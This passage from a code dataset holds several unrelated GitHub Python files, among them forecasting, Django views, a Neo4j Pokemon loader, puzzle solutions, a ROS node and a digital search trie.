plt.show()\r\n\r\n\r\ndef prop(Lower_Cylinder,Upper_Cylinder, NetPosUsd,CI):\r\n bounds_df = pd.DataFrame()\r\n\r\n # Using CI% confidence bounds\r\n bounds_df['lower_bound'] = df[Lower_Cylinder]\r\n\r\n bounds_df['real_value'] = df[NetPosUsd]\r\n bounds_df['upper_bound'] = df[Upper_Cylinder]\r\n\r\n bounds_df['contained'] = ((bounds_df['real_value'] >= bounds_df['lower_bound']) &\r\n (bounds_df['real_value'] <= bounds_df['upper_bound']))\r\n\r\n print(\"Proportion of points contained within \"+CI+ \"% confidence interval:\",bounds_df['contained'].mean())\r\n\r\ndef trainqlstmalpha(a):\r\n import json\r\n with open('DQhourly.json', 'r') as fp:\r\n parameters_dict = json.load(fp)\r\n alpha = a\r\n parameters_dict_real_taxi['lower_quantile_cutoff'] = alpha / 2\r\n parameters_dict_real_taxi['higher_quantile_cutoff'] = 1 - alpha / 2\r\n for i in tqdm(range(29)):\r\n\r\n parameters_dict_real_taxi['rolling_window_size'] = 48\r\n\r\n parameters_dict_real_taxi['train_test_split'] = 14323 - parameters_dict_real_taxi['rolling_window_size']\r\n parameters_dict_real_taxi['df_path'] = 'EURUSD_NETPOSUSD_hourly' + str(i) + '.csv'\r\n DQR = NetPosUsdDQRWU(parameters_dict_real_taxi)\r\n DQR.RUN()\r\n\r\n d = {'QdfTime': DQR.df[-120:].QdfTime,\r\n 'NetPosUsd': DQR.y_test,\r\n 'prediction': DQR.pred_50,\r\n 'QR_lower': DQR.pred_ql,\r\n\r\n 'QR_upper': DQR.pred_qh\r\n\r\n }\r\n out = pd.DataFrame(data=d)\r\n\r\n if i == 0:\r\n out.to_csv('QuantileLstmBoundsBiLSTMCuda_alpha' + str(int(alpha * 100)) + '.csv', encoding='utf-8',\r\n index=False)\r\n else:\r\n out.to_csv('QuantileLstmBoundsBiLSTMCuda_alpha' + str(int(alpha * 100)) + '.csv', mode='a', header=False,\r\n index=False)\r\n del DQR\r\n\r\n\r\ndef trainqlstm():\r\n for a in tqdm(np.linspace(5, 95, 19)):\r\n trainqlstmalpha(a)\r\n","repo_name":"Wisniewskiw/ConformalCopa2020","sub_path":"files/DeepQuantileRegressionCINetUsdPospaper.py","file_name":"DeepQuantileRegressionCINetUsdPospaper.py","file_ext":"py","file_size_in_byte":14097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27680824387","text":"from django.db.models import Sum\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom shopping.models import ShoppingCart\n\n\ndef cart(request, cart_id):\n cart = ShoppingCart.objects.get(id=cart_id)\n client_cart = cart.client\n products_cart = cart.products.all()\n total = cart.products.aggregate(Sum('price'))\n\n context = {\n 'cart': cart,\n 'client': client_cart,\n 'products': products_cart,\n 'total': total\n }\n return render(request, 'client_cart.html', context)\n","repo_name":"petertheprofessional/Shopping_Cart","sub_path":"shopping/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36022245301","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 21 13:26:24 2020\r\n\r\n@author: Ravi\r\n\"\"\"\r\n\r\ndef absoulutePermutation(n,k):\r\n if k==0:\r\n return list(range(1,n+1))\r\n elif (n/k)%2!=0:\r\n return [-1]\r\n else:\r\n add = True\r\n posi = []\r\n for i in range(1,n+1):\r\n if add:\r\n posi.append(i+k)\r\n else:\r\n posi.append(i-k)\r\n \r\n if i%k==0:\r\n if add:\r\n add =False\r\n else:\r\n add = True\r\n return posi\r\n \r\nt = int(input())\r\nfor i in range(t):\r\n n,k = map(int,input().split(\" \"))\r\n posi = absoulutePermutation(n,k)\r\n print(*posi,sep=\" \")\r\n","repo_name":"RaviPabari/HackerRank-Problems","sub_path":"Absolute Permutations.py","file_name":"Absolute Permutations.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"32"} +{"seq_id":"13966604338","text":"import csv\nfrom neo4j.v1 import GraphDatabase, basic_auth\n\ndriver = GraphDatabase.driver(\"bolt://localhost\", auth=basic_auth(\"neo4j\", \"1598753\"))\nsession = driver.session()\n\nwith open('pokemon_evolution.csv', newline='') as csvfile:\n\tcsvfile.readline()\n\tpoke_reader = csv.reader(csvfile, delimiter=',')\n\tfor row in poke_reader:\n\t\tif row[2] == \"1\":\n\t\t\tsession = driver.session()\n\t\t\trelation = \"EVOLUTION {{trigger: '{trigger}' ,lvl: {nivel} {gender} {location} {item} {time_of_day} {move_id} {move_type} {relative_physical_stats} {party_type_id} {rain} {upside_down} }}\"\n\t\t\tgender = \",gender: %s\" % row[5] if row[5] != \"\" else \"\"\n\t\t\tlocation = \",location: %s\" % row[6] if row[6] != \"\" else \"\"\n\t\t\titem = \",item: %s\" % row[7] if row[7] != \"\" else \"\"\n\t\t\ttime_of_day = \",time_of_day: '%s'\" % row[8] if row[8] != \"\" else \"\"\n\t\t\tmove_id = \",move_id: %s\" % row[9] if row[9] != \"\" else \"\"\n\t\t\tmove_type = \",move_type: %s\" % row[10] if row[10] != \"\" else \"\"\n\t\t\trelative_physical_stats = \",relative_physical_stats: %s\" % row[14] if row[14] != \"\" else \"\"\n\t\t\tparty_type_id = \",party_type_id: %s\" % row[16] if row[16] != \"\" else \"\"\n\t\t\train = \",rain: %s\" % row[18] if row[18] != \"0\" else \"\"\n\t\t\tupside_down = \",upside_down: %s\" % row[19] if row[19] != \"0\" else \"\"\n\t\t\trelation = relation.format(trigger=\"nivel\", nivel=row[4], gender=gender, location=location, item=item, time_of_day=time_of_day, move_id=move_id, move_type=move_type, relative_physical_stats=relative_physical_stats, party_type_id=party_type_id, rain=rain, upside_down=upside_down)\n\t\t\tsession.run(\"\"\"\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tCREATE UNIQUE (p_%s)-[:%s]->(p_%s)\n\t\t\t\t\"\"\" % (row[0], row[0], row[1], row[1], row[0], relation, row[1]))\n\t\t\tsession.close()\n\t\telif row[2] == \"2\":\n\t\t\tsession = driver.session()\n\t\t\trelation = \"EVOLUTION {{trigger: '{trigger}' {item} {con_pokemon}}}\"\n\t\t\tcon_pokemon = \",con_pokemon: %s\" % row[17] if row[17] != \"\" else \"\"\n\t\t\titem = \",item: %s\" % row[7] if row[7] != \"\" else \"\"\n\t\t\trelation = relation.format(trigger=\"intercambio\", item=item, con_pokemon=con_pokemon)\n\t\t\tprint(relation)\n\t\t\tsession.run(\"\"\"\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tCREATE UNIQUE (p_%s)-[:%s]->(p_%s)\n\t\t\t\t\"\"\" % (row[0], row[0], row[1], row[1], row[0], relation, row[1]))\n\t\t\tsession.close()\n\t\telif row[2] == \"3\":\n\t\t\tsession = driver.session()\n\t\t\tprint(\"relacion_evolucion: \" + row[0])\n\t\t\tsession.run(\"\"\"\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tCREATE UNIQUE (p_%s)-[:EVOLUTION {trigger: '%s', obj_id: %s}]->(p_%s)\n\t\t\t\t\"\"\" % (row[0], row[0], row[1], row[1], row[0], \"objeto\", row[3], row[1]))\n\t\t\tsession.close()\n\t\telif row[2] == \"4\":\n\t\t\tsession = driver.session()\n\t\t\tprint(\"relacion_evolucion: \" + row[0])\n\t\t\tsession.run(\"\"\"\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tCREATE UNIQUE (p_%s)-[:EVOLUTION {trigger: '%s'}]->(p_%s)\n\t\t\t\t\"\"\" % (row[0], row[0], row[1], row[1], row[0], \"hueco_en_el_equipo\", row[1]))\n\t\t\tsession.close()\n\t\telif row[2] == \"5\": # Felicidad\n\t\t\tsession = driver.session()\n\t\t\trelation = \"EVOLUTION {{trigger: '{trigger}' {time_of_day} {happiness} }}\"\n\t\t\thappiness = \",happiness: %s\" % row[11] if row[11] != \"\" else \"\"\n\t\t\ttime_of_day = \",time_of_day: '%s'\" % row[8] if row[8] != \"\" else \"\"\n\t\t\trelation = relation.format(trigger=\"afecto\", happiness=happiness, time_of_day=time_of_day)\n\t\t\tprint(relation)\n\t\t\tsession.run(\"\"\"\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tCREATE UNIQUE (p_%s)-[:%s]->(p_%s)\n\t\t\t\t\"\"\" % (row[0], row[0], row[1], row[1], row[0], relation, row[1]))\n\t\t\tsession.close()\n\t\telif row[2] == \"6\": # Belleza\n\t\t\tsession = driver.session()\n\t\t\trelation = \"EVOLUTION {{trigger: '{trigger}' {beauty} }}\"\n\t\t\tbeauty = \",beauty: %s\" % row[12] if row[12] != \"\" else \"\"\n\t\t\trelation = relation.format(trigger=\"belleza\", beauty=beauty)\n\t\t\tprint(relation)\n\t\t\tsession.run(\"\"\"\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tCREATE UNIQUE (p_%s)-[:%s]->(p_%s)\n\t\t\t\t\"\"\" % (row[0], row[0], row[1], row[1], row[0], relation, row[1]))\n\t\t\tsession.close()\n\t\telif row[2] == \"7\": # Afecto\n\t\t\tsession = driver.session()\n\t\t\trelation = \"EVOLUTION {{trigger: '{trigger}' {move_type} {affection} }}\"\n\t\t\tmove_type = \",move_type: %s\" % row[10] if row[10] != \"\" else \"\"\n\t\t\taffection = \",affection: %s\" % row[13] if row[13] != \"\" else \"\"\n\t\t\trelation = relation.format(trigger=\"afecto\", move_type=move_type, affection=affection)\n\t\t\tprint(relation)\n\t\t\tsession.run(\"\"\"\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tCREATE UNIQUE (p_%s)-[:%s]->(p_%s)\n\t\t\t\t\"\"\" % (row[0], row[0], row[1], row[1], row[0], relation, row[1]))\n\t\telif row[2] == \"8\": # 1 lvl\n\t\t\tsession = driver.session()\n\t\t\trelation = \"EVOLUTION {{trigger: '{trigger}' {item} {time_of_day} {move_id} {party_poke_id} {location}}}\"\n\t\t\titem = \",item: %s\" % row[7] if row[7] != \"\" else \"\"\n\t\t\ttime_of_day = \",time_of_day: '%s'\" % row[8] if row[8] != \"\" else \"\"\n\t\t\tmove_id = \",move_id: %s\" % row[9] if row[9] != \"\" else \"\"\n\t\t\tparty_poke_id = \",party_poke_id: %s\" % row[15] if row[15] != \"\" else \"\"\n\t\t\tlocation = \",location: %s\" % row[6] if row[6] != \"\" else \"\"\n\t\t\trelation = relation.format(trigger=\"lvling\", item=item, time_of_day=time_of_day, move_id=move_id, party_poke_id=party_poke_id, location=location)\n\t\t\tprint(relation)\n\t\t\tsession.run(\"\"\"\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tMERGE (p_%s:Pokemon {id: %s})\n\t\t\t\tCREATE UNIQUE (p_%s)-[:%s]->(p_%s)\n\t\t\t\t\"\"\" % (row[0], row[0], row[1], row[1], row[0], relation, row[1]))","repo_name":"Raksus/Pokedex4j","sub_path":"parseEvolutions.py","file_name":"parseEvolutions.py","file_ext":"py","file_size_in_byte":5536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33929191269","text":"\"\"\"\n\n方法1: 二分查找\n时间复杂度:O()\n空间复杂度:O()\n\ncase1:\n\n\"\"\"\nimport sys\n\n\nclass Solution:\n @staticmethod\n def is_perfect_square(num: int) -> bool:\n i, j = 0, num\n while i < j:\n mid = (i + j) // 2\n mul = mid*mid\n if mul == num:\n return True\n elif mul > num:\n j = mid - 1\n else:\n i = mid + 1\n if i*i != num:\n return False\n return True\n\n @staticmethod\n def is_perfect_square1(num: int) -> bool:\n i, j = 1, num\n while i < j:\n mid = (i + j) // 2\n mul = mid * mid\n if mul < num:\n i = mid + 1\n else:\n j = mid\n return i*i == num\n\n\nif __name__ == '__main__':\n s = Solution()\n for line in sys.stdin:\n num_cur = int(line.strip())\n # res = s.is_perfect_square(num_cur)\n res = s.is_perfect_square1(num_cur)\n print(res)\n","repo_name":"Lcoderfit/Introduction-to-algotithms","sub_path":"PythonLeetcode/BinarySearch/easy/367. 有效的完全平方数.py","file_name":"367. 有效的完全平方数.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"14641307628","text":"from django.conf.urls import url, include\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index),\n url(r'addBlog', views.create_blog),\n url(r'manage', views.manage),\n url(r'/edit/(?P[0-9]+)/$', views.edit, name='blog_edit'),\n url(r'/delete/(?P[0-9]+)/$', views.delete, name='blog_delete')\n\n]\n","repo_name":"anshuman16423/TODOS_BLOGS_APP","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"15222853166","text":"import numpy as np\nimport rospy\nimport time\nimport math\nimport cv2\nfrom std_msgs.msg import Float32MultiArray, Bool\nfrom geometry_msgs.msg import Twist\nfrom nav_msgs.msg import OccupancyGrid\n\n# TEMPORARY\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\n# CONSTANTS\nCYCLE_TIME = 0.1\n# Ros players\nsubscriber_explore = None\nsubscriber_map = None\npublisher_waypoints = None\n\n# others\nmap = None\nexplore_complete = None\ncomplete = None\n\ndef getWaypoints(height, width):\n global map\n\n midLine = width // 2\n\n for r in range(height):\n for c in range(width):\n pass\n\ndef exploreCallBack(data):\n global explore_complete\n\n if data is None:\n return\n else:\n explore_complete = data\n\ndef mapCallBack(data):\n global complete, map\n\n # do nothing until done exploring\n if explore_complete is None or not explore_complete:\n return\n\n # do nothing is already done it\n if complete is not None and complete:\n return\n\n map_raw = np.array(data.data)\n\n width = int(data.info.width)\n height = int(data.info.height)\n\n map = np.zeros((height, width))\n\n for r in range(height):\n for c in range(width):\n flat_i = (r * width) + c\n raw_value = map_raw[flat_i]\n\n # check if unknown\n if raw_value < 0:\n value = 0\n # check if prob of obstacle less than 50%\n elif raw_value < 50:\n value = 0\n # otherwise, confident of obstacle\n else:\n value = 1\n\n map[r][c] = value\n\n\n map = np.rot90(map, k=2)\n\n complete = True\n\n getWaypoints(height, width)\n\ndef init():\n global subscriber_map, subscriber_explore\n global publisher_waypoints\n global explore_complete\n\n subscriber_explore = rospy.Subscriber('/explore/complete', Bool, exploreCallBack)\n subscriber_map = rospy.Subscriber('/map', OccupancyGrid, mapCallBack)\n publisher_waypoints = rospy.Publisher('/parkingbot/waypoints', Float32MultiArray, queue_size=5)\n\n explore_complete = False\n\n rospy.init_node('waypoints')\n\ndef loop():\n global CYCLE_TIME\n\n init()\n\n while not rospy.is_shutdown():\n start_time = time.time()\n pass\n rospy.sleep(max(CYCLE_TIME - (start_time - time.time()), 0))\n\nif __name__ == \"__main__\":\n loop()\n","repo_name":"ryho8890/Sparki","sub_path":"proccessMapRG.py","file_name":"proccessMapRG.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18354322613","text":"import part1\n\n\ndef construct_freq_table(word):\n freq_table = {}\n for letter in word:\n if letter not in freq_table:\n freq_table[letter] = 1\n else:\n freq_table[letter] += 1\n return freq_table\n\n\ndef matches(freq_table, word):\n if len(freq_table) != len(word):\n return False\n for letter in word:\n if letter not in freq_table:\n return False\n return True\n\n\ndef decode_number(freq_table, base_words):\n for pair in base_words:\n if matches(freq_table, pair[0]):\n return pair[1]\n raise Exception('Could not decode number ' + str(freq_table))\n\n\ndef replace(string, to_replace):\n for c in to_replace:\n string = string.replace(c, '')\n return string\n\n\ndef construct_base_words(left):\n base_words = {}\n result = []\n for word in left:\n if len(word) == 2:\n base_words[1] = word\n result.append([word, 1])\n elif len(word) == 3:\n base_words[7] = word\n result.append([word, 7])\n elif len(word) == 4:\n base_words[4] = word\n result.append([word, 4])\n elif len(word) == 7:\n base_words[8] = word\n result.append([word, 8])\n\n top_right = base_words[1][0]\n bottom_right = base_words[1][1]\n\n top = replace(base_words[7], base_words[1])\n\n top_left = replace(base_words[4], base_words[1])[1]\n middle = replace(base_words[4], base_words[1])[0]\n\n bottom_left = replace(replace(base_words[8], base_words[7]), base_words[4])[1]\n bottom = replace(replace(base_words[8], base_words[7]), base_words[4])[0]\n\n result.append([top + top_left + top_right + bottom_left + bottom_right + bottom, 0])\n result.append([top + middle + top_right + bottom_left + bottom_right + bottom, 0])\n\n result.append([top + top_right + middle + bottom_left + bottom, 2])\n result.append([top + bottom_right + middle + bottom_left + bottom, 2])\n result.append([top + top_right + top_left + bottom_left + bottom, 2])\n result.append([top + bottom_right + top_left + bottom_left + bottom, 2])\n\n result.append([top + top_right + middle + bottom_right + bottom_left, 3])\n result.append([top + top_right + top_left + bottom_right + bottom_left, 3])\n result.append([top + top_right + middle + bottom_right + bottom, 3])\n result.append([top + top_right + top_left + bottom_right + bottom, 3])\n\n result.append([top + top_left + middle + bottom_right + bottom, 5])\n result.append([top + top_left + middle + top_right + bottom, 5])\n result.append([top + top_left + middle + bottom_right + bottom_left, 5])\n result.append([top + top_left + middle + top_right + bottom_left, 5])\n\n result.append([top + top_left + middle + bottom_left + bottom_right + bottom, 6])\n result.append([top + top_left + middle + bottom_left + top_right + bottom, 6])\n\n result.append([top + top_left + top_right + middle + bottom_right + bottom, 9])\n result.append([top + top_left + top_right + middle + bottom_right + bottom_left, 9])\n return result\n\n\ndef solution(inp):\n entries = [[segment.split(' | ')[0].split(' '), segment.split(' | ')[1].split(' ')] for segment in inp]\n nums = []\n for entry in entries:\n left = entry[0]\n right = entry[1]\n freq_tables = []\n base_words = construct_base_words(left)\n for word in left:\n freq_table = construct_freq_table(word)\n number = decode_number(freq_table, base_words)\n freq_tables.append([freq_table, number])\n\n right_num_raw = ''\n for word in right:\n freq_table = construct_freq_table(word)\n for other_table in freq_tables:\n passed = True\n if len(freq_table) != len(other_table[0]):\n passed = False\n else:\n for key, value in other_table[0].items():\n if key not in freq_table or freq_table[key] != value:\n passed = False\n break\n for key, value in freq_table.items():\n if key not in other_table[0] or other_table[0][key] != value:\n passed = False\n break\n\n if passed:\n right_num_raw += str(other_table[1])\n nums.append(int(right_num_raw))\n return sum(nums)\n\n\ndef result(inp):\n return solution(inp)\n\n\ndef test(example_inp):\n assert result(example_inp) == 61229\n","repo_name":"Arham4/advent-of-code","sub_path":"2021/day08/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":4539,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"7070356337","text":"class bitskey:\n def __init__(self,x):\n self.x = x\n def get(self):\n return self.x\n def bits(self,k,j):\n return (self.x >> k) & ~(~0 << j)\nclass node:\n def __init__(self,key):\n if key.get() == 0:\n self.key = bitskey(0)\n self.external = False\n else:\n self.key = key\n self.external = True\n self.left = 0\n self.right = 0\nclass Dict:\n itemMin = bitskey(0)\n head = 0\n head_check = False\n\n def search(self,v):\n v = bitskey(v)\n return self.searchR(self.head,v,maxb-1)\n def insert(self,v):\n v = bitskey(v)\n self.insertR(self.head,v,maxb-1)\n def insertR(self,h,v,d):\n if h == 0:\n h = node(v)\n if self.head_check == False:\n self.head = h\n return h\n if h.external:\n leaf = node(v)\n h = self.split(leaf,h,d)\n if self.head_check == False:\n self.head = h\n self.head_check = True\n return h\n if v.bits(d,1) == 0:\n h.left = self.insertR(h.left,v,d-1)\n else:\n h.right = self.insertR(h.right,v,d-1)\n return h\n \n def split(self,p,q,d):\n t = node(self.itemMin)\n if ((p.key.bits(d,1))) * 2 + (q.key.bits(d,1)) == 0:\n t.left = self.split(p,q,d-1)\n elif ((p.key.bits(d,1))) * 2 + (q.key.bits(d,1)) == 1:\n t.left = p\n t.right = q\n elif ((p.key.bits(d,1))) * 2 + (q.key.bits(d,1)) == 2:\n t.right = p\n t.left = q\n elif ((p.key.bits(d,1))) * 2 + (q.key.bits(d,1)) == 3:\n t.right = self.split(p,q,d-1)\n return t\n def searchR(self,h,v,d):\n if h == 0:\n return self.itemMin\n if v.get() == h.key.get():\n return v\n if v.bits(d,1) == 0:\n return self.searchR(h.left,v,d-1)\n else:\n return self.searchR(h.right,v,d-1)\nimport random,time\nN = 10000\nmaxb = 14\nkey = list(range(1,N+1))\ns_key = list(range(1,N+1))\nrandom.shuffle(key)\n\nd = Dict()\nfor i in range(N):\n d.insert(key[i])\nd.head.external = True\nstart_time = time.time()\nfor i in range(N):\n result = d.search(s_key[i])\n if result.get() == -1 or result.get() != s_key[i]:\n print('search error')\nend_time = time.time() - start_time\nprint('디지털 탐색 트리의 실행 시간 (N = %d) : %0.3f'%(N,end_time))\nprint('Complete')","repo_name":"winston1214/INU","sub_path":"algorithm/7week/radix_search_trie.py","file_name":"radix_search_trie.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"9969253667","text":"from django.shortcuts import render\nfrom django.core.mail import send_mail\nfrom django.contrib import messages\n\n# manages the homepage\ndef index(request):\n\n if request.method == 'POST':\n # email variables\n message_name = request.POST['name']\n message_email = request.POST['email']\n message_subject = request.POST['subject']\n message_text = request.POST['message']\n\n # send email\n send_mail(str(message_name) + ' - ' + str(message_subject), message_text, message_email, ['emmanueligbinijesu@gmail.com'], fail_silently=True)\n\n # display message sent message\n messages.success(request, ('Thanks for getting in touch!'))\n return render(request, 'index.html', {'message_name' : message_name, 'message_text' : message_text, 'message_email' : message_email})\n else:\n return render(request, 'index.html', {})\n","repo_name":"Emmanuel678912/djangopersonalwebsite","sub_path":"portfolio/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24228954338","text":"import pygame as py\nfrom datetime import datetime\nimport time\ni = 1\nwhile i < 4:\n print(\"Drink Water\")\n print(i)\n py.mixer.init()\n py.mixer.music.load('Ring10.wav')\n py.mixer.music.play(-1)\n Userinput = input(\"Done?\")\n if Userinput == \"Drank\":\n py.mixer.music.stop()\n print(\"No. of glasses left: \", 15 - i)\n while py.mixer.music.get_busy():\n py.time.Clock().tick(10)\n write_file = open(\"water.txt\", \"a\")\n write_file.write(f\"You Drank water at {datetime.now()}\\n\")\n write_file.close()\n time.sleep(1)\n i += 1\n","repo_name":"IsaamUddin1996/Python_full_tutorial","sub_path":"Water.py","file_name":"Water.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17486307940","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 1 18:18:09 2022\r\n\r\n@author: HTM\r\n\"\"\"\r\n\r\na=20\r\nb=19\r\nc=18\r\n# logical operators\r\n# and operator\r\nif(a>b and a>c):\r\n print(\"a is greater\")\r\nelif(b>a and b>c):\r\n print(\"b is greater\")\r\nelse:\r\n print(\"c is greater\")\r\n\r\n#or operator\r\nd=13\r\ne=30\r\nf=45\r\nif(d>e or d>f):\r\n print(\"d is greater\")\r\nelif(e>d or e>f):\r\n print(\"e is greater\")\r\nelse:\r\n print(\"f is greater\")\r\n\r\n #not\r\nif not a> 10:\r\n print(\"not returned True\")\r\nelse:\r\n print(\"not retured False\")\r\n\r\n # comparison operators\r\n # >,<\r\ng=25\r\nh=45\r\nif(g>h):\r\n print(\"g is greater\")\r\nelse:\r\n print(\"h is greater\")\r\n# ==,!=\r\ni=24\r\nj=45\r\nif(i==j):\r\n print(\"i is equal to j\")\r\nelse:\r\n print(\"i is not equal to j\")\r\n# >=,<=\r\nk=34\r\nl=90\r\nif(k>=l):\r\n print(\"k is greater than or equal to l\")\r\nelse:\r\n print(\"k is less than or equal to l\")","repo_name":"Chay10/MyCaptainAssignment","sub_path":"project 1.2.1.py","file_name":"project 1.2.1.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19207854231","text":"from typing import *\n\ndef merge(intervals: List[List[int]]) -> List[List[int]]:\n merged = []\n for i in sorted(intervals, key = lambda x: x[0]):\n if merged and i[0] <= merged[-1][-1]:\n merged[-1][-1] = max(i[1], merged[-1][-1])\n else:\n merged += i,\n \n return merged","repo_name":"seung-hun-h/algorithm","sub_path":"0_3.leetcode/python/LEET56.py","file_name":"LEET56.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25008710197","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('game', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Rendicion',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('intentos', models.IntegerField(default=1)),\n ('fecha', models.DateTimeField(verbose_name='fecha')),\n ('palabra', models.ForeignKey(to='game.Palabra')),\n ],\n ),\n ]\n","repo_name":"pijamarda/Guess-word","sub_path":"guess_word_site/game/migrations/0002_rendicion.py","file_name":"0002_rendicion.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38179533923","text":"from tkinter import *\r\nfrom PIL import Image,ImageTk\r\n\r\nroot = Tk()\r\nroot.option_add('*font','consolas 20')\r\nimg=Image.open('ส้มcartoon.jpg')#ดึงรูปภาพที่อยู่ในโฟเดอร์เดียวกันออกมา\r\n#img=img.resize((int(img.width * .5),int(img.height * .5)))\r\nphoto=ImageTk.PhotoImage(img)\r\nlbl=Label(image=photo)\r\nlbl.pack()\r\n#Label(root,text='มาพิมพ์ดีดกันเถอะ').pack()\r\n\r\nroot.mainloop()\r\n","repo_name":"singkorn1189/Deang","sub_path":"tkimage.py","file_name":"tkimage.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"th","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17989321974","text":"#EDIT DISTANCE ALIGNMENT\r\nfileobj=open('blah.txt', 'r')\r\nfilecontent=fileobj.readlines()\r\nfor a, val in enumerate(filecontent):\r\n if val.startswith(\">Rosa\"):\r\n filecontent[a]=\"\\n\"\r\n else:\r\n filecontent[a]=val.rstrip()\r\nfilelines=''.join(filecontent)\r\nfilelinewise=filelines.split()\r\n\r\ns=filelinewise[0]\r\nt=filelinewise[1]\r\n\r\nmatrix=[[0 for val2 in range(len(t)+1)] for val1 in range(len(s)+1)]\r\n\r\nfor val1 in range(1,len(s)+1):\r\n matrix[val1][0]=val1\r\n\r\nfor val1 in range(1,len(t)+1):\r\n matrix[0][val1]=val1\r\n\r\nfor val1 in range(1,len(s)+1):\r\n for val2 in range(1,len(t)+1):\r\n if s[val1-1]==t[val2-1]:\r\n weight=0\r\n else:\r\n weight=10\r\n matrix[val1][val2]=min(matrix[val1 - 1][val2] + 1,matrix[val1][val2-1]+1, matrix[val1-1][val2-1] + weight)\r\n\r\nprint(matrix[len(s)][len(t)])","repo_name":"atmikasharma/Computational-Biology-Assignments","sub_path":"rosalind_mgap_437_1_code.py","file_name":"rosalind_mgap_437_1_code.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35011717211","text":"\"\"\" Base class for all tools used in BFASST \"\"\"\n\nimport abc\nimport argparse\nimport datetime\nimport pathlib\nimport shlex\nfrom shutil import copyfileobj\nimport subprocess\nimport sys\nimport types\nfrom dataclasses import dataclass\nfrom bfasst.output_cntrl import cleanup_redirect, enable_proxy, redirect\n\nfrom bfasst.utils import TermColor\n\n\nclass BfasstException(Exception):\n \"\"\"Base class for all tool exceptions in the bfasst package.\"\"\"\n\n\n@dataclass\nclass ToolProduct:\n \"\"\"A file product of any tool. If the tool producesd a log file, then you can also provide\n the log_path, as well as a parser function (check_log_fcn), than can check if a prevoius run of\n the tool was successful or not.\"\"\"\n\n file_path: pathlib.Path\n log_path: pathlib.Path = None\n check_log_fcn: types.FunctionType = None\n\n\nclass Tool(abc.ABC):\n \"\"\"Base class for all tools used in BFASST\"\"\"\n\n TERM_COLOR_STAGE = TermColor.PURPLE\n\n DATE_FORMAT = \"%Y-%m-%d\"\n TIME_FORMAT = \"%H:%M:%S\"\n TIMESTAMP_FORMAT = DATE_FORMAT + \" \" + TIME_FORMAT + \".%f\\t\"\n\n def __init__(self, cwd, design=None):\n super().__init__()\n self.cwd = cwd\n self.design = design\n self.work_dir = self.make_work_dir()\n self.log_path = self.work_dir / \"log.txt\"\n\n # Argument parser\n self.arg_parser = None\n\n # Arguments (after parsing)\n self.args = None\n\n @property\n @classmethod\n @abc.abstractclassmethod\n def TOOL_WORK_DIR(self): # pylint: disable=invalid-name\n \"\"\"The subdirectory in the build folder to used for this tool.\"\"\"\n raise NotImplementedError\n\n def remove_logs(self):\n 